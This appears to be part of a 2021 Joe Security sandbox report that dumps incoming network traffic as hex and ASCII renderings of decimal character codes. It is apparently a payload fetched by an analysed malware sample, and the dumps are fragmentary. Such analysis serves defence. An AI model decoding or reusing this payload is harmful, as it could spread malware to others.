3420 30 20 39 39 20 30 20 36 36 20 30 20 34 38 20 30 20 37 35 20 30 20 37

Data Ascii: 1020121076 0560800560860 108077066065065070043076012001080 116010101210
9907306906507008707605507009008801050470650122047043010605104701180470470
10409906604807507

Data Raw: 37 39 20 30 20 31 30 36 20 30 20 34 37 20 30 20 31 31 39 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20
30 20 34 37 20 30 20 35 31 20 30 20 38 35 20 30 20 37 33 20 30 20 31 30 35 20 30 20 34 37 20 30 20 31 30 35 20 30 20
37 38 20 30 20 31 30 30 20 30 20 31 31 39 20 30 20 38 32 20 30 20 38 37 20 30 20 35 34 20 30 20 37 38 20 30 20 39 39
20 30 20 38 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 37 30 20 30 20 31 31 39 20 30 20 37 30 20 30 20
3130 38 20 30 20 39 30 20 30 20 31 30 30 20 30 20 36 37 20 30 20 31 31 30 20 30 20 34 37 20 30 20 31 30 30 20 30 20
38 3120 30 20 31 30 35 20 30 20 37 36 20 30 20 31 32 32 20 30 20 31 31 37 20 30 20 31 30 35 20 30 20 37 38 20 30 20
3131 3520 30 20 31 30 32 20 30 20 34 37 20 30 20 34 37 20 30 20 38 35 20

Data Ascii: 790106 04701190800470470470510850730105047010507801000119082087 054078
099089065065067070011907001080900100067011004701000810105076012201170105078
01150102047 047085

Data Raw: 30 20 34 33 20 30 20 37 33 20 30 20 34 39 20 30 20 35 37 20 30 20 34 37 20 30 20 37 35 20 30 20 31 31 37
20 3020 37 38 20 30 20 38 32 20 30 20 31 30 32 20 30 20 31 30 35 20 30 20 37 34 20 30 20 38 32 20 30 20 31 30 31 20
30 20 36 37 20 30 20 37 38 20 30 20 38 32 20 30 20 31 30 30 20 30 20 36 37 20 30 20 37 34 20 30 20 38 32 20 30 20 31
30 32 20 30 20 36 37 20 30 20 37 38 20 30 20 38 32 20 30 20 31 30 30 20 30 20 38 32 20 30 20 38 31 20 30 20 38 35 20
30 20 31 30 38 20 30 20 37 34 20 30 20 38 33 20 30 20 39 37 20 30 20 31 30 33 20 30 20 37 32 20 30 20 34 37 20 30 20
31 30 30 20 30 20 38 32 20 30 20 36 37 20 30 20 37 38 20 30 20 38 32 20 30 20 38 32 20 30 20 38 34 20 30 20 34 37 20
30 20 31 30 30 20 30 20 38 31 20 30 20 31 32 32 20 30 20 37 32 20 30 20 38

Data Ascii: 04307304905704707501170780820102010507408201010670780820100067074082
01020670780820100082081085010807408309701030720470100082067078082082084047
0100081012207208

Data Raw: 30 20 34 37 20 30 20 34 39 20 30 20 31 30 30 20 30 20 38 38 20 30 20 38 35 20 30 20 34 39 20 30 20 37 38
20 3020 31 31 33 20 30 20 36 35 20 30 20 31 31 38 20 30 20 35 37 20 30 20 34 39 20 30 20 34 37 20 30 20 37 33 20 30
20 31 31 38 20 30 20 37 31 20 30 20 35 34 20 30 20 36 37 20 30 20 31 30 31 20 30 20 36 37 20 30 20 34 37 20 30 20 34
37 20 30 20 34 37 20 30 20 34 37 20 30 20 31 30 30 20 30 20 31 30 32 20 30 20 31 32 32 20 30 20 34 37 20 30 20 37 30
20 30 20 38 31 20 30 20 36 38 20 30 20 36 37 20 30 20 38 31 20 30 20 36 35 20 30 20 36 36 20 30 20 38 34 20 30 20 38
36 20 30 20 31 31 38 20 30 20 35 37 20 30 20 35 30 20 30 20 36 39 20 30 20 38 30 20 30 20 35 36 20 30 20 38 36 20 30
20 35 31 20 30 20 37 37 20 30 20 37 30 20 30 20 36 35 20 30 20 36 35 20 30

Data Ascii: 047049 0100088085049078011306501180570490470730118071054067 0101067047
04704704701000102012204707008106806708106506608408601180570500690800560860
510770700650650

Data Raw: 20 31 30 31 20 30 20 38 37 20 30 20 35 36 20 30 20 31 30 38 20 30 20 38 32 20 30 20 31 31 39 20 30 20 34

37 20 30 20 35 36 20 30 20 31 30 38 20 30 20 37 31 20 30 20 37 37 20 30 20 37 38 20 30 20 36 35 20 30 20 36 35 20 30
20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 37 32 20 30 20 37 37 20 30 20 37 38 20 30 20 36 35 20 30 20 36 35
20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 38 39 20 30 20 37 37 20 30 20 37 34 20 30 20 36 35 20 30 20
36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 38 38 20 30 20 37 37 20 30 20 37 34 20 30 20 36 35 20
30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 39 30 20 30 20 37 37 20 30 20 37 34 20 30 20 36
35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20

Data Ascii: 101087056 01080820 11904705601080710770780650650800560108072077078065
0650800560108089077074065065080056010808807707406506508005601080900770740
650650800560 1080

Data Raw: 20 31 31 39 20 30 20 36 36 20 30 20 37 39 20 30 20 36 35 20 30 20 37 31 20 30 20 36 39 20 30 20 36 35 20
30 20 39 38 20 30 20 38 31 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 37 30 20 30 20 36 35 20 30 20 37 31 20 30 20 35 32 20 30 20
36 35 20 30 20 31 30 30 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 32 20 30 20 36 35 20 30 20 37 32 20 30 20 37
3320 30 20 36 35 20 30 20 39 38 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 31 37 20 30 20 36 35 20 30 20 37 31 20
30 20 34 38 20 30 20 36 35 20 30 20 39 30 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 37 20 30 20 36 35 20 30 20 37
32 20 30 20 38 31 20 30 20 36 35 20 30 20 38 36 20 30 20 31 30 33 20 30 20

Data Ascii: 1190660790650710690650980810660108065065065065065065066070065071052
065010001030660112065072073065098011906601170650710480650900810660 117065072
08106508601030
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2021-09-27 18:28:01 UTC 4788

2021-09-27 18:28:01 UTC 4804

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 30 20 31 31 39 20 30 20 36 35 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37 37 20 30 20 36
3520 30 20 38 30 20 30 20 31 30 33 20 30 20 36 35 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37 37 20
30 20 36 35 20 30 20 36 38 20 30 20 38 31 20 30 20 36 35 20 30 20 37 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 37 31 20 30 20
37 3320 30 20 36 35 20 30 20 39 30 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 30 36 20 30 20 36 35 20 30 20 37 31
20 30 20 35 36 20 30 20 36 35 20 30 20 39 38 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 38 20 30 20 36 3520 30 20
37 3220 30 20 37 33 20 30 20 36 35 20 30 20 38 30 20 30 20 38 31 20 30 20

Data Ascii: 01190650108 065072077 06508001030650108065072077065068081065075065065
0650650650650650103065071073065090011906601060650710560650980650660 1180650
720730650800810

Data Raw: 20 37 37 20 30 20 31 30 37 20 30 20 35 33 20 30 20 31 30 38 20 30 20 31 30 31 20 30 20 37 32 20 30 20 38

312030 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 35 20 30 20 37 32 20 30 20
37 34 20 30 20 31 31 38 20 30 20 38 39 20 30 20 35 30 20 30 20 38 36 20 30 20 31 32 32 20 30 20 39 39 20 30 20 31 32
3220302037 37203020 313231203020 3832203020 313039 2030 20 31 30 38 20 30 20 31 32 31 20 30 20 39
3920 30 20 3531 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 36 36 20 30 20 31 32 31 20 30
20 39 38 20 30 20 35 30 20 30 20 37 38 20 30 20 31 30 38 20 30 20 39 39 20 30 20 35 31 20 30 20 37 37 20 30 20 31 32
3220302037 37203020 31 3037 20 30 20 35 33 20 30 20 31 30 38 20 30

Data Ascii: 77 01070530108010107208106506506506506508507207401180890500 860122099
01220770121082010901080121099051081065065070066012109805007801080990510770
1220770107 053 01080

Data Raw: 30 20 31 32 32 20 30 20 31 30 37 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 37 35 20 30 20 35
332030 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 38 20 30 20 37 39 20 30 20 38 31 20 30 20 36 35 20 30 20
36 35 20 30 20 37 31 20 30 20 31 31 34 20 30 20 31 30 37 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 31 31
3320 30 20 35 32 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 34 37 20 30 20 37 39 20 30 20 37 37 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 36 20 30 20 31 30 37 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 38 20 30 20 31 31 37 20
30 20 35 36 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 39 38 20

Data Ascii: 0122 0107065065066 0750530650650650880790810650650710114 0107 0650650 68
011305201190650650470790770650650650106010706506506506506506506506501080 117
056065065073098

Data Raw: 36 39 20 30 20 39 39 20 30 20 31 30 39 20 30 20 37 30 20 30 20 35 31 20 30 20 38 32 20 30 20 31 31 30 20
30 20 37 34 20 30 20 31 30 34 20 30 20 39 38 20 30 20 38 37 20 30 20 38 36 20 30 20 36 38 20 30 20 39 38 20 30 20 35
30 20 30 20 35 33 20 30 20 34 38 20 30 20 39 39 20 30 20 31 30 39 20 30 20 35 37 20 30 20 31 31 35 20 30 20 36 35 20
30 20 36 3520 30 20 36 38 20 30 20 31 30 39 20 30 20 36 35 20 30 20 38 35 20 30 20 34 39 20 30 20 31 30 38 20 30 20
393920 30 20 35 31 20 30 20 37 38 20 30 20 31 30 34 20 30 20 39 30 20 30 20 35 30 20 30 20 38 36 20 30 20 36 37 20
3020 39 38 20 30 20 35 31 20 30 20 31 30 34 20 30 20 38 38 20 30 20 36 35 20 30 20 37 37 20 30 20 36 39 20 30 20 36
36 20 30 20 38 34 20 30 20 37 31 20 30 20 35 37 20 30 20 31 30 34 20 30 20

Data Ascii: 6909901090700510820110074010409808708606809805005304809901090570 1150
6506506801090650850490108099051078010409005008606709805101040880650 770690
6608407105701040

Data Raw: 20 30 20 36 35 20 30 20 31 30 33 20 30 20 37 33 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 36 20 30 20 38 39 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 37 20 30 20 36 35 20 30 20 31 30 34 20
30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 32 20 30 20 36 35 20 30 20 36 37 20 30 20 36
3520 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 37 20 30 20 36 35 20
30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35

Data Ascii: 0650103073085065065065066089065010306706501040103065065065072065067
0650730650650650650650650650650650650650650810650650650650650650650770650
650103 065065065

Data Raw: 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
3520 30 20 36 35 20 30 20 31 30 36 20 30 20 37 30 20 30 20 31 32 30 20 30 20 39 30 20 30 20 31 30 36 20 30 20 37 30
20 30 20 31 32 30 20 30 20 39 30 20 30 20 31 30 36 20 30 20 37 30 20 30 20 31 32 30 20 30 20 39 30 20 30 20 31 30 36
20 30 20 37 30 20 30 20 31 32 30 20 30 20 39 30 20 30 20 31 30 36 20 30 20

Data Ascii: 650650650650650650650650650650650650650650650650650650650650650650
6506506506506506506506506506501060700120090010607001200900 1060 700 1200900 106
07001200900 1060

Data Raw: 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 37 20 30 20 31 31 30 20 30 20 35 33 20 30 20 31 30 37 20 30 20 34 37
20 30 20 34 37 20 30 20 31 30 32 20 30 20 31 32 31 20 30 20 31 32 32 20 30 20 31 31 32 20 30 20 31 30 34 20 30 20 35
31 20 30 20 35 35 20 30 20 31 31 35 20 30 20 39 37 20 30 20 38 32 20 30 20 34 37 20 30 20 34 37 20 30 20 31 30 31 20
30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 39 39 20

Data Ascii: 0650650650650650650650650650650650650650650650650650650650650065065
065065065011701100530107 047047 010201210122011201040510550115097082047 0470101
054047047047099

Data Raw: 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 35 37 20 30 20 35 36 20 30 20 34 33 20 30 20 31 31 37 20 30 20 35 32 20 30 20 35 35 20 30
20 31 32 31 20 30 20 31 30 38 20 30 20 35 32 20 30 20 35 35 20 30 20 31 32 31 20 30 20 31 30 38 20 30 20 35 32 20 30
20 35 352030 20 31 32 31 20 30 20 31 30 38 20 30 20 35 32 20 30 20 35 35 20 30 20 31 32 31 20 30 20 31 30 38 20 30
20 35 32 20 30 20 35 35 20 30 20 31 32 31 20 30 20 31 30 38 20 30 20 35 32 20 30 20 35 35 20 30 20 31 32 31 20 30 20
31 30 38 20 30 20 35 32 20 30 20 35 35 20 30 20 31 32 31 20 30 20 31 30 38 20 30 20 31 31 39 20 30 20 35 34 20 30 20
36 37 20 30 20 38 39 20 30 20 35 33 20 30 20 35 36 20 30 20 31 30 31 20 30

Data Ascii: 5065065065065065065065065057056043011705205501210108052055012101080
5205501210108052055012101080520550121010805205501210108052055012101080119054
067089053056 01010
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 34
20 3020 34 37 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20 30 20 35 34 20 30 20 34 37 20 30 20 35 37 20 30 20
31 32 32 20 30 20 38 36 20 30 20 31 31 33 20 30 20 34 37 20 30 20 34 33 20 30 20 31 31 31 20 30 20 31 30 34 20 30 20
313139203020 37 36 20 30 20 34 37 20 30 20 34 39 20 30 20 31 30 30 20 30 20 35 35 20 30 20 31 31 39 20 30 20 34
37203020 3537 20 30 20 38 38 20 30 20 31 30 31 20 30 20 35 36 20 30 20 38 30 20 30 20 34 33 20 30 20 31 30 31 20
3020 31 31 32 2030 20 35 35 20 30 20 36 38 20 30 20 34 37 20 30 20 39 39 20 30 20 38 38 20 30 20 38 32 20 30 20 35
3220 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34

Data Ascii: 4301180470540470470114047043011804705404705701220860113047043011101
040119076047049010005501190470570880101056080043010101120550680470990880820
5204704704704704

Data Raw: 20 37 34 20 30 20 37 32 20 30 20 34 37 20 30 20 35 36 20 30 20 36 38 20 30 20 31 30 31 20 30 20 38 37 20

30 20 34 37 20 30 20 34 37 20 30 20 36 35 20 30 20 35 31 20 30 20 31 30 38 20 30 20 31 31 38 20 30 20 34 37 20 30 20
3131 39 20 30 20 37 36 20 30 20 31 31 32 20 30 20 37 36 20 30 20 34 37 20 30 20 35 36 20 30 20 36 37 20 30 20 39 37
2030 20 37 39 20 30 20 34 37 20 30 20 34 37 20 30 20 36 35 20 30 20 31 31 34 20 30 20 31 30 37 20 30 20 31 30 32 20
3020 34 37 20 30 20 31 31 36 20 30 20 37 34 20 30 20 31 31 31 20 30 20 35 31 20 30 20 34 37 20 30 20 35 35 20 30 20
38 3320 30 20 37 31 20 30 20 37 36 20 30 20 34 37 20 30 20 34 37 20 30 20 36 35 20 30 20 31 31 34 20 30 20 31 30 37
203020 31 3032 20 30 20 34 37 20 30 20 31 31 39 20 30 20 37 37 20 30 20

Data Ascii: 74072047056 06801010870470470650510108011804701190760112076047 0560 67
09707904704706501140107010204701160740111051047055083071076047047065011401
07010204701190770

Data Raw: 38 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 33 20 30 20 36 35 20 30 20 39 38 20 30 20 31 31 39 20 30
20 36 36 20 30 20 31 31 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37 37 20 30 20 36 35 20 30 20 39 30 20 30 20 38 31
20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 39 20 30 20 37 37 20 30 20 36 35 20 30 20 39 38 20 30 20
3131392030 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20 30 20 37 32 20 30 20 38 35 20 30 20 36 35 20 30 20 39 38
2030 20 38 31 20 30 20 36 35 20 30 20 31 30 39 20 30 20 36 35 20 30 20 37 31 20 30 20 35 32 20 30 20 36 35 20 30 20
3939 20 30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 38 34 20 30 20 37 34 20 30 20 31 31 39 20 30 20 31 30 39 20 30 20 36

Data Ascii: 8065071 01030650980119066011806507207706509008106501030650690 770650
98011906601150650720850650980810650109065071052065099011906506506506506506
50840740119010906

Data Raw: 35 20 30 20 36 37 20 30 20 36 36 20 30 20 38 35 20 30 20 37 31 20 30 20 31 30 33 20 30 20 36 36 20 30 20
38 37 20 30 20 36 35 20 30 20 36 36 20 30 20 37 36 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 39 20 30 20 36 35 20
30 20 34 33 20 30 20 31 30 33 20 30 20 37 37 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 34 37 20 30 20 34
37203020 31 30 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 34
2030 20 38 31 20 30 20 36 36 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31

Data Ascii: 5067066 085071 010306608706506607606506501190650430103077065065080047
04701030810650650650650650650650650650650650650650650650650650650650650 74
081066011906601

Data Raw: 20 30 20 36 35 20 30 20 37 39 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36
35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 35 20 30 20 37 34 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 39 39 20 30 20 36 35 20 30 20 38 30 20 30 20 38 31 20 30 20 36 36 20 30 20 35 32 20 30 20 36 35 20
30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 35 35 20 30 20 31 30 33 20 30 20 38 30 20 30 20 34 37 20 30 20
34 37 20 30 20 35 32 20 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30
20 36 35 20 30 20 37 30 20 30 20 36 36 20 30 20 36 36 20 30 20 36 35 20 30

Data Ascii: 06507901030650650650650650650650650650650650650740810650650650650
65065099065080081066052065065010306505501030800470470520730650650650650650
65070066066 0650

Data Raw: 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37 33 20 30 20 36 35 20 30 20 37 33 20 30
20 36 35 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20 30 20 37 31 20 30 20 35 36 20 30 20 36 35 20 30 20 39 30
20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 31 30 20 30 20 36 35 20 30 20 37 31 20 30 20 38 35 20 30 20 36 35 20 30
20 39 30 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 36 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 37 20 30 20 36
35 20 30 20 39 38 20 30 20 31 30 33 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 37 32 20 30 20 38 35 20
30 20 36 35 20 30 20 39 39 20 30 20 31 31 39 20 30 20 36 36 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 32 20 30 20
37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20

Data Ascii: 66 0108 0650720730650730650660115065071056065090011906601100650710850
650900650650116065071010706509801030650103065072085065099011906601080650 720
730650650650650

Data Raw: 20 36 35 20 30 20 37 37 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 37 20 30 20 36 35 20 30 20 36 35
20 30 20 36 39 20 30 20 36 35 20 30 20 38 33 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 37 20 30 20 36 35 20 30 20
37 3220 30 20 38 31 20 30 20 36 35 20 30 20 39 30 20 30 20 38 31 20 30 20 36 36 20 30 20 31 32 31 20 30 20 36 35 20
30 20 37 31 20 30 20 35 32 20 30 20 36 35 20 30 20 38 39 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36
35 20 30 20 36 39 20 30 20 35 32 20 30 20 36 35 20 30 20 38 39 20 30 20 38 31 20 30 20 36 36 20 30 20 31 31 36 20 30
20 36 35 20 30 20 37 31 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30

Data Ascii: 6507701030650650650650650650790650650770650650690650830810660 1170 65
0720810650900810660121065071052065089081066011506506905206508908106601160
650710850650650

Data Raw: 36 38 20 30 20 31 31 38 20 30 20 31 30 30 20 30 20 31 31 37 20 30 20 35 31 20 30 20 35 33 20 30 20 37 34
20 3020 31 31 31 20 30 20 35 34 20 30 20 38 33 20 30 20 31 31 32 20 30 20 34 33 20 30 20 38 31 20 30 20 39 30 20 30
20 37 30 20 30 20 39 38 20 30 20 31 31 37 20 30 20 35 35 20 30 20 31 31 33 20 30 20 38 33 20 30 20 38 30 20 30 20 31
30 37 20 30 20 31 30 30 20 30 20 39 38 20 30 20 31 30 37 20 30 20 31 31 38 20 30 20 31 31 38 20 30 20 36 39 20 30 20
31 31 37 20 30 20 39 30 20 30 20 38 36 20 30 20 34 39 20 30 20 31 30 30 20 30 20 37 36 20 30 20 37 38 20 30 20 34 39
20 30 20 36 38 20 30 20 34 33 20 30 20 35 31 20 30 20 31 32 30 20 30 20 39 39 20 30 20 39 39 20 30 20 36 37 20 30 20
31 30 39 20 30 20 34 39 20 30 20 37 37 20 30 20 37 32 20 30 20 31 31 39 20

Data Ascii: 68 0118 01000117051053074011105408301120430810900700980117055011308308
001070100098010701180118069011709008604901000760780490680430510120099 099067
01090490770720119
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kBytes
Timestamp transferred

2021-09-27 18:28:01 UTC 4944

2021-09-27 18:28:01 UTC 4960

2021-09-27 18:28:01 UTC 4976

2021-09-27 18:28:01 UTC 4992

2021-09-27 18:28:01 UTC 5008

2021-09-27 18:28:01 UTC 5024

2021-09-27 18:28:01 UTC 5040

2021-09-27 18:28:01 UTC 5056

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 36 37 20 30 20 35 35 20 30 20 38 34 20 30 20 31 31 36 20 30 20 37 35 20 30 20 31 31 33 20 30 20 31 31 32

20 3020 38 31 20 30 20 38 31 20 30 20 31 31 32 20 30 20 37 39 20 30 20 36 39 20 30 20 37 38 20 30 20 34 33 20 30 20
36 36 20 30 20 31 30 32 20 30 20 37 30 20 30 20 31 31 36 20 30 20 31 30 38 20 30 20 31 31 32 20 30 20 35 33 20 30 20
37 37 20 30 20 31 32 30 20 30 20 31 30 35 20 30 20 38 33 20 30 20 35 32 20 30 20 35 35 20 30 20 38 36 20 30 20 34 39
203020343320302037352030203732203020313132203020313036203020313033203020313131
203020 313038203020 3732203020313137203020383120302031303120 3020 353620302039 3020
30 20 35 37 20 30 20 39 37 20 30 20 31 30 34 20 30 20 31 32 31 20 30 20 38

Data Ascii: 67055084 011607501130112081081011207906907804306601020700116 010801120
530770120010508305205508604904307507201120106010301110108072011708101010560
900570970104012108

Data Raw: 38 33 20 30 20 31 32 32 20 30 20 31 31 38 20 30 20 37 30 20 30 20 31 31 38 20 30 20 31 31 36 20 30 20 38
322030 20 31 31 33 20 30 20 38 33 20 30 20 31 31 39 20 30 20 31 30 32 20 30 20 31 31 36 20 30 20 38 33 20 30 20 38
3720 30 20 34 39 20 30 20 31 30 35 20 30 20 31 31 32 20 30 20 35 37 20 30 20 31 30 30 20 30 20 36 37 20 30 20 35 36
203020 37 33 20 30 20 39 38 20 30 20 37 33 20 30 20 37 32 20 30 20 38 33 20 30 20 37 38 20 30 20 39 30 20 30 20 31
30 33 20 30 20 35 36 20 30 20 35 30 20 30 20 31 32 31 20 30 20 35 34 20 30 20 31 31 34 20 30 20 35 30 20 30 20 37 38
203020 31 303320 30 20 34 38 20 30 20 38 30 20 30 20 31 30 32 20 30 20 31 31 31 20 30 20 35 37 20 30 20 37 36 20
30 20 38 33 20 30 20 31 31 30 20 30 20 38 32 20 30 20 36 38 20 30 20 39 30

Data Ascii: 830122 0118070011801160820113083011901020116083087 04901050112 05701000
670560730980730720830780900103056050012105401140500780103048080010201110570
760830110082068090

Data Raw: 20 30 20 31 30 33 20 30 20 38 34 20 30 20 36 39 20 30 20 31 30 37 20 30 20 31 30 30 20 30 20 31 32 31 20
30 20 39 30 20 30 20 38 37 20 30 20 37 30 20 30 20 34 38 20 30 20 39 30 20 30 20 38 38 20 30 20 37 33 20 30 20 31 30
3320 30 20 38 34 20 30 20 38 37 20 30 20 37 30 20 30 20 31 31 37 20 30 20 38 39 20 30 20 35 30 20 30 20 31 30 34 20
3020 31 3038 20 30 20 39 39 20 30 20 35 31 20 30 20 38 32 20 30 20 31 30 38 20 30 20 39 39 20 30 20 31 30 36 20 30
20 36 39 20 30 20 38 31 20 30 20 37 37 20 30 20 36 35 20 30 20 35 32 20 30 20 37 31 20 30 20 36 35 20 30 20 34 39 20
30 20 38 35 20 30 20 36 39 20 30 20 36 36 20 30 20 31 32 30 20 30 20 37 37 20 30 20 37 32 20 30 20 38 35 20 30 20 35
3020 30 20 37 30 20 30 20 31 31 35 20 30 20 39 30 20 30 20 31 30 39 20 30

Data Ascii: 0103084 0690107 01000121090087070048090088073010308408707001170890500
10401080990510820108099010606908107706505207106504908506906601200770720850
5007001150900 1090

Data Raw: 30 20 39 37 20 30 20 33 37 20 30 20 31 31 35 20 30 20 33 37 20 30 20 31 30 38 20 30 20 31 30 31 20 30 20
31323220 30 20 31 30 39 20 30 20 31 31 37 20 30 20 31 30 33 20 30 20 33 37 20 30 20 31 30 31 20 30 20 33 37 20 30
20 31 31 39 20 30 20 39 37 20 30 20 39 38 20 30 20 39 37 20 30 20 31 32 31 20 30 20 31 31 38 20 30 20 31 31 32 20 30
2031 3230203020 31 32 30 20 30 20 31 30 36 20 30 20 39 38 20 30 20 31 30 31 20 30 20 31 30 34 20 30 20 33 37 20
3020 31 3134203020 333720302039 37203020 313032203020313137203020313037203020313139
203020 313030203020 333720302031313820302033372030203131382030203130342030203131
3020 30 20 31 30 34 20 30 20 31 30 39 20 30 20 31 30 35 20 30 20 31 31 31

Data Ascii: 097 037011503701080101012201090117010303701010370119097098097 012101180
112012001200106 0980101 01040370114037097 010201170107 0119010003701180370 1180 104
0110010401090 1050111

Data Raw: 20 31 31 32 20 30 20 31 30 39 20 30 20 31 31 38 20 30 20 33 37 20 30 20 33 32 20 30 20 33 37 20 30 20 31
313220 30 20 31 31 33 20 30 20 31 31 39 20 30 20 39 38 20 30 20 31 30 30 20 30 20 31 31 31 20 30 20 33 37 20 30 20
31 31 35 20 30 20 33 37 20 30 20 31 30 30 20 30 20 31 30 35 20 30 20 31 30 38 20 30 20 31 31 33 20 30 20 31 30 31 20
